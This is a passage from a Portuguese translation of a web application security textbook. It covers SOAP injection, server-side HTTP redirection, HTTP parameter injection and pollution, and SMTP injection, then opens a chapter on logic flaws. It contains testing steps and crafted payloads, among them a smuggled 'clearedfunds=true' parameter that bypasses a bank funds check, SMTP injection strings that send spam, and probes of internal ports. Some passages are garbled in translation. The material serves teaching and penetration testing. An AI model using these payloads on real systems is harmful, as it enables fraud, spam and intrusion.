1. Envie uma tag de fechamento de XML não autorizada, como **</foo>**, em cada parâmetro. Se não ocorrer nenhum erro, provavelmente sua entrada não está sendo inserida em uma mensagem SOAP ou está sendo higienizada de alguma forma.
2. Se for recebido um erro, envie, em vez disso, um par de tags de abertura e fechamento válidas, como **<foo></foo>**. Se isso fizer com que o erro desapareça, o aplicativo poderá estar vulnerável.
3. Em algumas situações, os dados que são inseridos em uma m e n s a g e m formatada em XML são posteriormente lidos de volta em seu formato XML e retornados ao usuário. Se o item que você está modificando estiver sendo retornado nas respostas do aplicativo, verifique se o conteúdo XML enviado é retornado em sua forma idêntica ou se foi normalizado de alguma forma. Envie os dois valores a seguir, um de cada vez:

   ```
   teste<foo/>
   teste<foo></foo>
   ```

   Se você descobrir que um item é retornado como o outro, ou simplesmente como **teste**, pode ter certeza de que sua entrada está sendo inserida em uma mensagem baseada em XML.
4. Se a solicitação HTTP contiver vários parâmetros que possam estar sendo colocados em uma mensagem SOAP, tente inserir o caractere de comentário de abertura **(<!-**
   -) em um parâmetro e o caractere de fechamento do comentário (**!-->**) em outro parâmetro. Em seguida, troque-os (porque você não tem como saber em que ordem os parâmetros aparecem). Fazer isso pode ter o efeito de comentar uma parte da mensagem SOAP do servidor. Isso pode causar uma alteração na lógica do aplicativo ou resultar em uma condição de erro diferente que pode divulgar informações.

Se a injeção SOAP é difícil de detectar, pode ser ainda mais difícil de explorar. Na maioria das situações, você precisa conhecer a estrutura do XML que envolve seus dados para fornecer uma entrada criada que modifique a mensagem sem invalidá-la. Em todos os testes anteriores, procure por mensagens de erro que revelem detalhes sobre a mensagem SOAP que está sendo processada. Se você tiver sorte, uma mensagem detalhada revelará a mensagem inteira, permitindo que você construa valores criados para explorar a vulnerabilidade. Se não tiver sorte, você poderá ficar restrito a uma mera adivinhação, o que provavelmente não será bem-sucedido.

Como evitar a injeção de SOAP

É possível evitar a injeção de SOAP empregando filtros de validação de limite em qualquer ponto em que os dados fornecidos pelo usuário sejam inseridos em uma mensagem SOAP (consulte o Capítulo 2). Isso deve ser feito nos dados que foram recebidos imediatamente do usuário na solicitação atual e em todos os dados que foram mantidos de solicitações anteriores ou gerados a partir de outro processamento que usa dados do usuário como entrada. Para evitar os ataques descritos, o aplicativo deve codificar em HTML todos os metacaracteres XML que aparecem na entrada do usuário. A codificação HTML envolve a substituição de caracteres literais por suas entidades HTML correspondentes. Isso garante que o interpretador XML os trate como parte do valor de dados do elemento relevante e não como parte da estrutura da própria mensagem. Aqui estão as codificações HTML de alguns personagens problemáticos comuns:

- < - `<`
- > - `>`
- / - `/`

Injeção em solicitações HTTP de back-end

A seção anterior descreveu como alguns aplicativos incorporam dados fornecidos pelo usuário em solicitações SOAP de back-end para serviços que não são diretamente acessíveis ao usuário. De modo mais geral, os aplicativos podem incorporar a entrada do usuário em qualquer tipo de solicitação HTTP de back-end, inclusive aquelas que transmitem parâmetros como pares regulares de nome/valor. Esse tipo de comportamento costuma ser vulnerável a ataques, pois o aplicativo costuma fazer proxy do URL ou dos parâmetros fornecidos pelo usuário. Os ataques contra essa funcionalidade podem ser divididos nas seguintes categorias:

- Os ataques **de redirecionamento HTTP no lado do servidor** permitem que um invasor especifique um recurso ou URL arbitrário que é solicitado pelo servidor de aplicativos front-end.
- Os ataques **de injeção de parâmetro HTTP (HPI)** permitem que um invasor injete parâmetros arbitrários em uma solicitação HTTP de back-end feita pelo servidor de aplicativos. Se um invasor injetar um parâmetro que já existe na solicitação de back-end, os ataques de poluição de parâmetro HTTP (HPP) poderão ser usados para substituir o valor original do parâmetro especificado pelo servidor.

Redirecionamento de HTTP no lado do servidor

As vulnerabilidades de redirecionamento no lado do servidor surgem quando um aplicativo pega uma entrada controlável pelo usuário e a incorpora a um URL que ele recupera usando uma solicitação HTTP de back-end. A entrada fornecida pelo usuário pode incluir todo o URL que é recuperado ou o aplicativo pode

executar algum processamento nele, como adicionar um sufixo padrão.

A solicitação HTTP de back-end pode ser feita a um domínio na Internet pública ou a um servidor interno não diretamente acessível pelo usuário. O conteúdo solicitado pode ser essencial para a funcionalidade do aplicativo, como uma interface para um gateway de pagamento. Ou pode ser mais periférico, como conteúdo estático extraído de um terceiro. Essa técnica é usada com frequência para unir vários componentes de aplicativos internos e externos diferentes em um único aplicativo frontal que lida com o controle de acesso e o gerenciamento de sessões em nome desses outros sistemas. Se um invasor puder controlar o endereço IP ou o nome do host usado na solicitação HTTP de back-end, ele poderá fazer com que o servidor de aplicativos se conecte a um recurso arbitrário e, às vezes, recupere o conteúdo da resposta de back-end.

Considere o exemplo a seguir de uma solicitação de front-end, na qual o `loc` é usado para especificar qual versão de um arquivo CSS o cliente deseja usar:

```
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wahh-blogs.net
Content-Length: 65

view=default&loc=online.wahh-blogs.net/css/wahh.css
```

Se nenhuma validação do URL for especificada no parâmetro `loc`, um invasor poderá especificar um nome de host arbitrário no lugar de `online.wahh-blogs.net`. O aplicativo recupera o recurso especificado, permitindo que o invasor use o aplicativo como um proxy para serviços de back-end potencialmente confidenciais. No exemplo a seguir, o invasor faz com que o aplicativo se conecte a um serviço SSH de back-end:

```
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: blogs.mdsec.net
Content-Length: 65

view=default&loc=192.168.0.1:22
```

A resposta do aplicativo inclui o banner do serviço SSH solicitado:

```
HTTP/1.1 200 OK
Conexão: fechada

SSH-2.0-OpenSSH_4.2Incompatibilidade de protocolo.
```

Um invasor pode explorar erros de redirecionamento de HTTP no lado do servidor para usar efetivamente o aplicativo vulnerável como um proxy HTTP aberto para realizar vários outros ataques:

- Um invasor pode usar o proxy para atacar sistemas de terceiros na Internet. Para o alvo, o tráfego malicioso parece se originar do servidor no qual o aplicativo vulnerável está sendo executado.
- Um invasor pode ser capaz de usar o proxy para se conectar a hosts arbitrários na rede interna da organização, atingindo assim alvos que não podem ser acessados diretamente da Internet.

- Um invasor pode usar o proxy para se conectar novamente a outros serviços executados no próprio servidor de aplicativos, contornando as restrições do firewall e explorando potencialmente as relações de confiança para contornar a autenticação.
- Por fim, a funcionalidade de proxy pode ser usada para realizar ataques, como cross-site scripting, fazendo com que o aplicativo inclua conteúdo controlado pelo invasor em suas respostas (consulte o Capítulo 12 para obter mais detalhes).

ETAPAS DO HACK

1. Identifique quaisquer parâmetros de solicitação que pareçam conter nomes de host, endereços IP ou URLs completos.
2. Para cada parâmetro, modifique seu valor para especificar um recurso alternativo, semelhante ao que está sendo solicitado, e veja se esse recurso aparece na resposta do servidor.
3. Tente especificar um URL direcionado a um servidor na Internet que você controla e monitore esse servidor quanto a conexões de entrada do aplicativo que está testando.
4. Se nenhuma conexão de entrada for recebida, monitore o tempo que o aplicativo leva para responder. Se houver um atraso, as solicitações de back-end do aplicativo podem estar atingindo o tempo limite devido a restrições de rede nas conexões de saída.
5. Se você conseguir usar a funcionalidade para se conectar a URLs arbitrários, tente realizar os seguintes ataques:
   a. Determine se o número da porta pode ser especificado. Por exemplo, você pode fornecer http://mdattacker.net:22.
   b. Se for bem-sucedido, tente fazer uma varredura de portas na rede interna usando uma ferramenta como o Burp Intruder para se conectar a um intervalo de endereços IP e portas em sequência (consulte o Capítulo 14).
   c. Tentativa de conexão com outros serviços no endereço de loopback do servidor de aplicativos.
   d. Tentativa de carregar uma página da Web que você controla na resposta do aplicativo para realizar um ataque de script entre sites.

OBSERVAÇÃO Algumas APIs de redirecionamento no lado do servidor, como `Server.Transfer()` e `Server.Execute()` no ASP.NET, permitem o redirecionamento somente para URLs relativos no mesmo host. A funcionalidade que passa a entrada fornecida pelo usuário para um desses métodos ainda pode ser potencialmente explorada para explorar relações de confiança e acessar recursos no servidor que são protegidos por autenticação no nível da plataforma.

EXPERIMENTE!

http://mdsec.net/updates/97/ http://mdsec.net/updates/99/

Injeção de parâmetros HTTP

A injeção de parâmetro HTTP (HPI) ocorre quando os parâmetros fornecidos pelo usuário são usados como parâmetros em uma solicitação HTTP de back-end. Considere a seguinte variação da funcionalidade de transferência bancária que anteriormente era vulnerável à injeção de SOAP:

```
POST /bank/48/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit
```

Essa solicitação de front-end, enviada pelo navegador do usuário, faz com que o aplicativo faça uma solicitação HTTP de back-end adicional a outro servidor da Web dentro da infraestrutura do banco. Nessa solicitação de back-end, o aplicativo copia alguns dos valores de parâmetros da solicitação de front-end:

```
POST  /doTransfer.asp  HTTP/1.0
Host:   mdsec-mgr.int.mdsec.net
Content-Length: 44
fromacc=18281008&amount=1430&toacc=08447656
```

Essa solicitação faz com que o servidor back-end verifique se os fundos liberados estão disponíveis para realizar a transferência e, em caso afirmativo, a realize. No entanto, o servidor front-end pode, opcionalmente, especificar que os fundos liberados estão disponíveis e, portanto, ignorar a verificação, fornecendo o seguinte parâmetro:

```
clearedfunds=true
```

Se o invasor estiver ciente desse comportamento, ele poderá tentar executar um ataque HPI para injetar o parâmetro `clearedfunds` na solicitação de back-end. Para fazer isso, ele adiciona o parâmetro necessário ao final do valor de um parâmetro existente e codifica na URL os caracteres `&` e =, que são usados para separar nomes e valores:

```
POST /bank/48/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 96

FromAccount=18281008&Amount=1430&ToAccount=08447656%26clearedfunds%3dtru
e&Submit=Submit
```

Quando o servidor de aplicativos processa essa solicitação, ele decodifica os valores dos parâmetros no URL da maneira normal. Portanto, o valor do parâmetro `ToAccount` que o aplicativo front-end recebe é o seguinte:

```
08447656&clearedfunds=true
```

Se o aplicativo front-end não validar esse valor e passá-lo não higienizado para a solicitação de back-end, será feita a seguinte solicitação de back-end, que contornará com êxito a verificação de fundos liberados:

```
POST  /doTransfer.asp  HTTP/1.0
Host:   mdsec-mgr.int.mdsec.net
Content-Length: 62

fromacc=18281008&amount=1430&toacc=08447656&clearedfunds=true
```

EXPERIMENTE!

http://mdsec.net/bank/48/

OBSERVAÇÃO Diferentemente da injeção SOAP, é improvável que a injeção de parâmetros inesperados arbitrários em uma solicitação de back-end cause qualquer tipo de erro. Portanto, um ataque bem-sucedido normalmente requer o conhecimento exato dos parâmetros de back-end que estão sendo usados. Embora isso possa ser difícil de determinar em um contexto de caixa preta, pode ser simples se o aplicativo usar componentes de terceiros cujo código possa ser obtido e pesquisado.

Poluição de parâmetros HTTP

A HPP é uma técnica de ataque que surge em vários contextos (consulte os Capítulos 12 e 13 para ver outros exemplos) e que frequentemente se aplica no contexto de ataques HPI.

As especificações HTTP não fornecem diretrizes sobre como os servidores da Web devem se comportar quando uma solicitação contém vários parâmetros com o mesmo nome. Na prática, diferentes servidores da Web se comportam de maneiras diferentes. Aqui estão alguns comportamentos comuns:

- Use a primeira instância do parâmetro.
- Use a última instância do parâmetro.
- Concatene os valores dos parâmetros, talvez adicionando um separador entre eles.
- Constrói uma matriz que contém todos os valores fornecidos.

No exemplo anterior de HPI, o invasor poderia adicionar um novo parâmetro a uma solicitação de back-end. Na verdade, é mais provável, na prática, que a solicitação na qual o invasor pode injetar já contenha um parâmetro com o nome que ele

está sendo direcionado. Nessa situação, o invasor pode usar a condição HPI para injetar uma segunda instância do mesmo parâmetro. O comportamento resultante do aplicativo depende, então, de como o servidor HTTP de back-end trata o parâmetro duplicado. O invasor pode usar a técnica HPP para "substituir" o valor do parâmetro original pelo valor do parâmetro injetado.

Por exemplo, se a solicitação original do back-end for a seguinte:

```
POST  /doTransfer.asp  HTTP/1.0
Host:   mdsec-mgr.int.mdsec.net
Content-Length: 62

fromacc=18281008&amount=1430&clearedfunds=false&toacc=08447656
```

e o servidor back-end usa a primeira instância de qualquer parâmetro duplicado, um invasor pode colocar o ataque no parâmetro `FromAccount` na solicitação front-end:

```
POST /bank/52/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 96

FromAccount=18281008%26clearedfunds%3dtrue&Amount=1430&ToAccount=0844765
6&Submit=Submit
```

Por outro lado, neste exemplo, se o servidor back-end usar a última instância de qualquer parâmetro duplicado, o invasor poderá colocar o ataque no parâmetro `ToAccount` na solicitação front-end.

EXPERIMENTE!

http://mdsec.net/bank/52/

http://mdsec.net/bank/57/

Os resultados dos ataques HPP dependem muito de como o servidor de aplicativos de destino lida com várias ocorrências do mesmo parâmetro e do ponto de inserção preciso na solicitação de back-end. Isso tem consequências significativas se duas tecnologias precisarem processar a mesma solicitação HTTP. Um firewall de aplicativo da Web ou um proxy reverso pode processar uma solicitação e passá-la para o aplicativo da Web, que pode descartar variáveis ou até mesmo criar cadeias de caracteres a partir de partes da solicitação anteriormente díspares!

Um bom documento que aborda os diferentes comportamentos dos servidores de aplicativos comuns pode ser encontrado aqui:

www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Ataques contra a tradução de URLs

Muitos servidores reescrevem os URLs solicitados na chegada para mapeá-los para as funções de back-end relevantes dentro do aplicativo. Além da reescrita convencional de URL, esse comportamento pode surgir no contexto de parâmetros de estilo REST, wrappers de navegação do cliente e outros métodos de tradução de URL. O tipo de processamento que esse comportamento envolve pode ser vulnerável a ataques HPI e HPP. Para simplificar e ajudar na navegação, alguns aplicativos colocam os valores dos parâmetros no caminho do arquivo do URL, em vez de na string de consulta. Isso geralmente pode ser feito com algumas regras simples para transformar o URL e encaminhá-lo para o destino verdadeiro. As seguintes regras `mod_rewrite` no Apache são usadas para lidar com acesso público aos perfis de usuário:

```
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /pub/user/[^\&]*\ HTTP/
RewriteRule ^pub/user/([^/\.]+)$ /inc/user_mgr.php?mode=view&name=$1
```

Essa regra aceita solicitações esteticamente agradáveis, como:

```
/pub/user/marcus
```

e as transforma em solicitações de back-end para a funcionalidade de `visualização` contida na página de gerenciamento de usuários `user_mgr.php`. Ele move o parâmetro `marcus` para a string de consulta e adiciona o parâmetro `mode=view`:

```
/inc/user_mgr.php?mode=view&name=marcus
```

Nessa situação, pode ser possível usar um ataque HPI para injetar um segundo `modo` no URL reescrito. Por exemplo, se o invasor solicitar o seguinte:

```
/pub/user/marcus%26mode=edit
```

o valor decodificado do URL é incorporado ao URL reescrito da seguinte forma:

```
/inc/user_mgr.php?mode=view&name=marcus&mode=edit
```

Como foi descrito para os ataques HPP, o sucesso dessa exploração depende de como o servidor trata o parâmetro agora duplicado. Na plataforma PHP, o parâmetro `mode` é tratado como tendo o valor `edit`, portanto o ataque é bem-sucedido.

ETAPAS DO HACK

1. Direcione cada parâmetro de solicitação individualmente e tente anexar um novo parâmetro injetado usando várias sintaxes:
   - **%26foo%3dbar** - **&foo=bar** codificado por URL
   - **%3bfoo%3dbar** - codificado por URL **;foo=bar**
   - **%2526foo%253dbar** - Duplo **&foo=bar** codificado por URL
2. Identifique todas as instâncias em que o aplicativo se comporta como se o parâmetro original não tivesse sido modificado. (Isso se aplica somente a parâmetros que normalmente causam alguma diferença na resposta do aplicativo quando modificados).
3. Cada instância identificada na etapa anterior tem uma chance de injeção de parâmetro. Tente injetar um parâmetro conhecido em vários pontos da solicitação para ver se ele pode substituir ou modificar um parâmetro existente. Por exemplo:
   FromAccount=18281008%26Amount%3d4444&Amount=1430&ToAccount=08447656
4. Se isso fizer com que o novo valor substitua o existente, determine se você pode ignorar qualquer validação de front-end injetando um valor que é lido por um servidor de back-end.
5. Substitua o parâmetro conhecido injetado por nomes de parâmetros adicionais, conforme descrito para mapeamento de aplicativos e descoberta de conteúdo no Capítulo 4.
6. Teste a tolerância do aplicativo a vários envios do mesmo parâmetro em uma solicitação. Envie valores redundantes antes e depois de outros parâmetros e em locais diferentes da solicitação (na string de consulta, nos cookies e no corpo da mensagem).

Injetando em serviços de correio

Muitos aplicativos contêm um recurso para que os usuários enviem mensagens por meio do aplicativo, como, por exemplo, para relatar um problema à equipe de suporte ou fornecer feedback sobre o site. Esse recurso geralmente é implementado por meio da interface com um servidor de correio eletrônico (ou SMTP). Normalmente, a entrada fornecida pelo usuário é inserida no servidor SMTP

conversa que o servidor de aplicativos mantém com o servidor de e-mail. Se um invasor puder enviar uma entrada criada de forma adequada que não seja filtrada ou higienizada, ele poderá injetar comandos STMP arbitrários nessa conversa.

Na maioria dos casos, o aplicativo permite que você especifique o conteúdo da mensagem e seu próprio endereço de e-mail (que é inserido no campo De do e-mail resultante). Você também pode especificar o assunto da mensagem e outros detalhes. Qualquer campo relevante que você controle pode ser vulnerável à injeção SMTP.

As vulnerabilidades de injeção de SMTP são frequentemente exploradas por spammers que examinam a Internet em busca de formulários de e-mail vulneráveis e os utilizam para gerar grandes volumes de e-mails incômodos.

Manipulação de cabeçalhos de e-mail

Considere o formulário mostrado na Figura 10-6, que permite que os usuários enviem feedback sobre o aplicativo.

Figura 10-6: Um formulário típico de feedback do site

Aqui, os usuários podem especificar um endereço From e o conteúdo da mensagem. O aplicativo passa essa entrada para o comando PHP `mail()`, que constrói o e-mail e executa a conversa SMTP necessária com o servidor de e-mail configurado. O e-mail gerado é o seguinte:

```
Para: admin@wahh-app.com De:
marcus@wahh-mail.com
Assunto: Problema no site

A página Confirmar pedido não é carregada
```

O comando PHP `mail()` usa um parâmetro `additional_headers` para definir o endereço From da mensagem. Esse parâmetro também é usado para especificar outros cabeçalhos, inclusive Cc e Bcc, separando cada cabeçalho necessário com um caractere de nova linha. Portanto, um invasor pode fazer com que a mensagem seja enviada a destinatários arbitrários injetando um desses cabeçalhos no campo From, conforme ilustrado na Figura 10-7.

Your email address*: marcus@wahh-mail.com%0aBcc:all@wahh-othercompany.com
Subject: Site problem
Comment*: Confirm Order page doesn't load
Submit comments Reset

Figura 10-7: Um ataque de injeção de cabeçalho de e-mail

Isso faz com que o comando `mail()` gere a seguinte mensagem:

```
Para: admin@wahh-app.com
De: marcus@wahh-mail.com
Bcc: all@wahh-othercompany.com
Subject: Problema no site

A página Confirmar pedido não é carregada
```

Injeção de comando SMTP

Em outros casos, o aplicativo pode executar a própria conversa SMTP ou pode passar a entrada fornecida pelo usuário a um componente diferente para fazer isso. Nessa situação, pode ser possível injetar comandos SMTP arbitrários diretamente nessa conversa, possivelmente assumindo o controle total das mensagens geradas pelo aplicativo.

Por exemplo, considere um aplicativo que usa solicitações do seguinte formulário para enviar comentários sobre o site:

```
POST feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 56

From=daf@wahh-mail.com&Subject=Site+feedback&Message=foo
```

Isso faz com que o aplicativo da Web execute uma conversa SMTP com os seguintes comandos:

```
MAIL FROM: daf@wahh-mail.com RCPT
TO: feedback@wahh-app.com DATA
De: daf@wahh-mail.com
Para: feedback@wahh-
app.com Assunto: Feedback
do site foo
.
```

OBSERVAÇÃO Depois que o cliente SMTP emite o comando `DATA`, ele envia o conteúdo da mensagem de e-mail, incluindo os cabeçalhos e o corpo da mensagem. Em seguida, ele envia um único caractere de ponto em sua própria linha. Isso informa ao servidor que a mensagem foi concluída, e o cliente pode emitir outros comandos SMTP para enviar outras mensagens.

Nessa situação, você pode injetar comandos SMTP arbitrários em qualquer um dos campos de e-mail que você controla. Por exemplo, você pode tentar injetar no campo Subject da seguinte forma:

```
POST feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 266

From=daf@wahh-mail.com&Subject=Site+feedback%0d%0afoo%0d%0a%2e%0d
%0aMAIL+FROM:+mail@wahh-viagra.com%0d%0aRCPT+TO:+john@wahh-mail
.com%0d%0aDATA%0d%0aFrom:+mail@wahh-viagra.com%0d%0aTo:+john@wahh-mail
.com%0d%0aSubject:+Cheap+V1AGR4%0d%0aBlah%0d%0a%2e%0d%0a&Message=foo
```

Se o aplicativo estiver vulnerável, isso resultará na seguinte conversão SMTP, que gera duas mensagens de e-mail diferentes. A segunda está totalmente sob seu controle:

```
MAIL FROM: daf@wahh-mail.com
RCPT TO: feedback@wahh-app.com
DATA
De: daf@wahh-mail.com
Para: feedback@wahh-
app.com Assunto:
Site+feedback foo
.
MAIL FROM: mail@wahh-viagra.com
RCPT TO: john@wahh-mail.com DATA
De: mail@wahh-viagra.com
Para: john@wahh-mail.com
Assunto: V1AGR4 barato
Blá
.
espuma
.
```

Localização de falhas de injeção de SMTP

Para sondar a funcionalidade de e-mail de um aplicativo de forma eficaz, é necessário direcionar todos os parâmetros que são enviados a uma função relacionada a e-mail, mesmo aqueles que, a princípio, podem parecer não estar relacionados ao conteúdo da mensagem gerada. Você

também deve testar cada tipo de ataque, e você deve executar cada caso de teste usando caracteres de nova linha no estilo Windows e UNIX.

ETAPAS DO HACK

1. Você deve enviar cada uma das sequências de teste a seguir como cada parâmetro, inserindo seu próprio endereço de e-mail na posição relevante:

```
<youremail>%0aCc:<youremail>

<youremail>%0d%0aCc:<youremail>

<youremail>%0aBcc:<youremail>

<youremail>%0d%0aBcc:<youremail>

%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<y
ouremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aS
ubject:+test%0afoo%0a%2e%0a

%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0
d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%
0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0
afoo%0d%0a%2e%0d%0a
```

2. Observe as mensagens de erro que o aplicativo retorna. Se elas parecerem estar relacionadas a algum problema na função de e-mail, investigue se você precisa ajustar sua entrada para explorar uma vulnerabilidade.
3. As respostas do aplicativo podem não indicar de forma alguma se existe uma vulnerabilidade ou se ela foi explorada com sucesso. Você deve monitorar o endereço de e-mail especificado para ver se algum e-mail foi recebido.
4. Examine atentamente o formulário HTML que gera a solicitação relevante. Ele pode conter pistas sobre o software do lado do servidor que está sendo usado. Ele também pode conter um campo oculto ou desativado que especifica o endereço para o e-mail, que você pode modificar diretamente.

DICA As funções de envio de e-mails para a equipe de suporte do aplicativo são frequentemente consideradas periféricas e podem não estar sujeitas aos mesmos padrões de segurança ou testes que a funcionalidade principal do aplicativo. Além disso, como envolvem a interface com um componente de back-end incomum, geralmente são implementadas por meio de uma chamada direta ao comando relevante do sistema operacional. Portanto, além de sondar a injeção de SMTP, você também deve analisar atentamente todas as funcionalidades relacionadas a e-mail quanto a falhas de injeção de comandos do sistema operacional.

Como evitar a injeção de SMTP

As vulnerabilidades de injeção SMTP geralmente podem ser evitadas com a implementação de uma validação rigorosa de todos os dados fornecidos pelo usuário que são passados para uma função de e-mail ou usados em uma conversa SMTP. Cada item deve ser validado da forma mais rigorosa possível, considerando a finalidade para a qual está sendo usado:

- Os endereços de e-mail devem ser verificados com base em uma expressão regular adequada (que deve, obviamente, rejeitar qualquer caractere de nova linha).
- O assunto da mensagem não deve conter nenhum caractere de nova linha e pode ser limitado a um tamanho adequado.
- Se o conteúdo de uma mensagem estiver sendo usado diretamente em uma conversão SMTP, as linhas que contêm apenas um único ponto não devem ser permitidas.

Resumo

Examinamos uma ampla gama de ataques direcionados a componentes de aplicativos back-end e as etapas práticas que você pode adotar para identificar e explorar cada um deles. Muitas vulnerabilidades do mundo real podem ser descobertas nos primeiros segundos de interação com um aplicativo. Por exemplo, você pode inserir uma sintaxe inesperada em uma caixa de pesquisa. Em outros casos, essas vulnerabilidades podem ser altamente sutis, manifestando-se em diferenças pouco detectáveis no comportamento do aplicativo, ou podem ser alcançadas somente por meio de um processo de vários estágios de envio e manipulação de entradas criadas.

Para ter certeza de que descobriu as falhas de injeção de back-end existentes em um aplicativo, você precisa ser minucioso e paciente. Praticamente todo tipo de vulnerabilidade pode se manifestar no processamento de praticamente qualquer item de dados fornecidos pelo usuário, inclusive os nomes e valores dos parâmetros de string de consulta, dados `POST` e cookies e outros cabeçalhos HTTP. Em muitos casos, um defeito surge somente após uma extensa sondagem do parâmetro relevante, à medida que você aprende exatamente que tipo de processamento está sendo realizado na sua entrada e examina os obstáculos que se interpõem no seu caminho.

Diante da enorme superfície de ataque em potencial apresentada por possíveis ataques contra componentes de aplicativos de back-end, você pode achar que qualquer ataque sério a um aplicativo deve envolver um esforço titânico. No entanto, parte do aprendizado da arte de atacar software é adquirir um sexto sentido para saber onde o tesouro está escondido e como o alvo provavelmente se abrirá para que você possa roubá-lo. A única maneira de adquirir esse senso é por meio da prática. Você deve ensaiar as técnicas que descrevemos com os aplicativos da vida real que encontrar e ver como elas se comportam.

Perguntas

As respostas podem ser encontradas em `http://mdsec.net/wahh`.

1. Um dispositivo de rede fornece uma interface baseada na Web para realizar a configuração do dispositivo. Por que esse tipo de funcionalidade costuma ser vulnerável a ataques de injeção de comandos do sistema operacional?
2. Você está testando o seguinte URL:

   ```
   http://wahh-app.com/home/statsmgr.aspx?country=US
   ```

   A alteração do valor do parâmetro `country` para `foo` resulta nessa mensagem de erro:

   ```
   Não foi possível abrir o arquivo: D:\app\default\home\logs\foo.log (arquivo
   inválido).
   ```

   Que medidas você poderia tomar para atacar o aplicativo?
3. Você está testando um aplicativo AJAX que envia dados em formato XML em solicitações POST. Que tipo de vulnerabilidade pode permitir que você leia arquivos arbitrários do sistema de arquivos do servidor? Quais pré-requisitos devem estar presentes para que seu ataque seja bem-sucedido?
4. Você faz a seguinte solicitação a um aplicativo que está sendo executado na plataforma ASP.NET:

   ```
   POST /home.aspx?p=urlparam1&p=urlparam2 HTTP/1.1
   Host: wahh-app.com
   Cookie: p=cookieparam
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 15

   p=parâmetro do corpo
   ```

   O aplicativo executa o seguinte código:

   ```
   String param = Request.Params["p"];
   ```

   Qual é o valor da variável `param`?
5. A HPP é um pré-requisito para a HPI ou vice-versa?
6. Um aplicativo contém uma função que faz proxy de solicitações para domínios externos e retorna as respostas dessas solicitações. Para evitar que ataques de redirecionamento do lado do servidor recuperem recursos protegidos no próprio servidor da Web do aplicativo, o aplicativo bloqueia solicitações direcionadas a `localhost` ou

`127.0.0.1`. Como você pode contornar essa defesa para acessar recursos no servidor?

7. Um aplicativo contém uma função para feedback do usuário. Isso permite que o usuário forneça seu endereço de e-mail, um assunto de mensagem e comentários detalhados. O aplicativo envia um e-mail para feedback@wahh-app.com, endereçado a partir do endereço de e-mail do usuário, com a linha de assunto fornecida pelo usuário e os comentários no corpo da mensagem. Qual das opções a seguir é uma defesa válida contra ataques de injeção de e-mail?

   (a) Desative a retransmissão de correio eletrônico no servidor de correio eletrônico.

   (b) Codifique o campo `RCPT TO` com feedback@wahh-app.com.

   (c) Valide se as entradas fornecidas pelo usuário não contêm novas linhas ou outros metacaracteres SMTP.

CAPÍTULO

11

Aplicativos de ataque sobre Lógica

Todos os aplicativos da Web empregam lógica para oferecer sua funcionalidade. Escrever código em uma linguagem de programação envolve, em sua raiz, nada mais do que dividir um processo complexo em etapas lógicas simples e discretas. Traduzir uma parte da funcionalidade que é significativa para os seres humanos em uma sequência de pequenas operações que podem ser executadas por um computador envolve muita habilidade e discrição. Fazer isso de forma elegante e segura é ainda mais difícil. Quando um grande número de designers e programadores diferentes trabalha em paralelo no mesmo aplicativo, há muitas oportunidades para que ocorram erros.

Em todos os aplicativos da Web, com exceção dos mais simples, uma grande quantidade de lógica é executada em cada estágio. Essa lógica apresenta uma intrincada superfície de ataque que está sempre presente, mas que muitas vezes é ignorada. Muitas revisões de código e testes de penetração se concentram exclusivamente nas vulnerabilidades comuns "principais", como injeção de SQL e script entre sites, porque elas têm uma assinatura facilmente reconhecível e um vetor de exploração bem pesquisado. Por outro lado, as falhas na lógica de um aplicativo são mais difíceis de caracterizar: cada instância pode parecer uma ocorrência única e, em geral, não são identificadas por nenhum scanner de vulnerabilidade automatizado. Como resultado, elas geralmente não são tão bem avaliadas ou compreendidas e, portanto, são de grande interesse para um invasor.

Este capítulo descreve os tipos de falhas lógicas que geralmente existem em aplicativos da Web e as medidas práticas que você pode tomar para sondar e atacar a lógica de um aplicativo. Apresentaremos uma série de exemplos do mundo real, cada um dos quais manifesta um tipo diferente de defeito lógico. Juntos, eles ilustram a variedade de suposições

que os designers e desenvolvedores fazem e que podem levar diretamente a uma lógica defeituosa e expor um aplicativo a vulnerabilidades de segurança.

A natureza das falhas de lógica

As falhas lógicas em aplicativos da Web são extremamente variadas. Elas variam de simples erros manifestados em um punhado de linhas de código a vulnerabilidades complexas decorrentes da interoperação de vários componentes principais do aplicativo. Em alguns casos, elas podem ser óbvias e fáceis de detectar; em outros casos, podem ser excepcionalmente sutis e passíveis de iludir até mesmo a mais rigorosa revisão de código ou teste de penetração.

Diferentemente de outras falhas de codificação, como injeção de SQL ou script entre sites, nenhuma "assinatura" comum está associada a falhas de lógica. A característica definidora, é claro, é que a lógica implementada no aplicativo é defeituosa de alguma forma. Em muitos casos, o defeito pode ser representado em termos de uma suposição específica que o designer ou desenvolvedor fez, explícita ou implicitamente, e que se revelou falha. Em termos gerais, um programador pode ter raciocinado algo como "Se A acontece, então B deve ser o caso, então farei C". O programador não fez a pergunta totalmente diferente "Mas e se X ocorrer?" e, portanto, não considerou um cenário que violasse a suposição. Dependendo das circunstâncias, essa suposição falha pode abrir uma vulnerabilidade de segurança significativa.

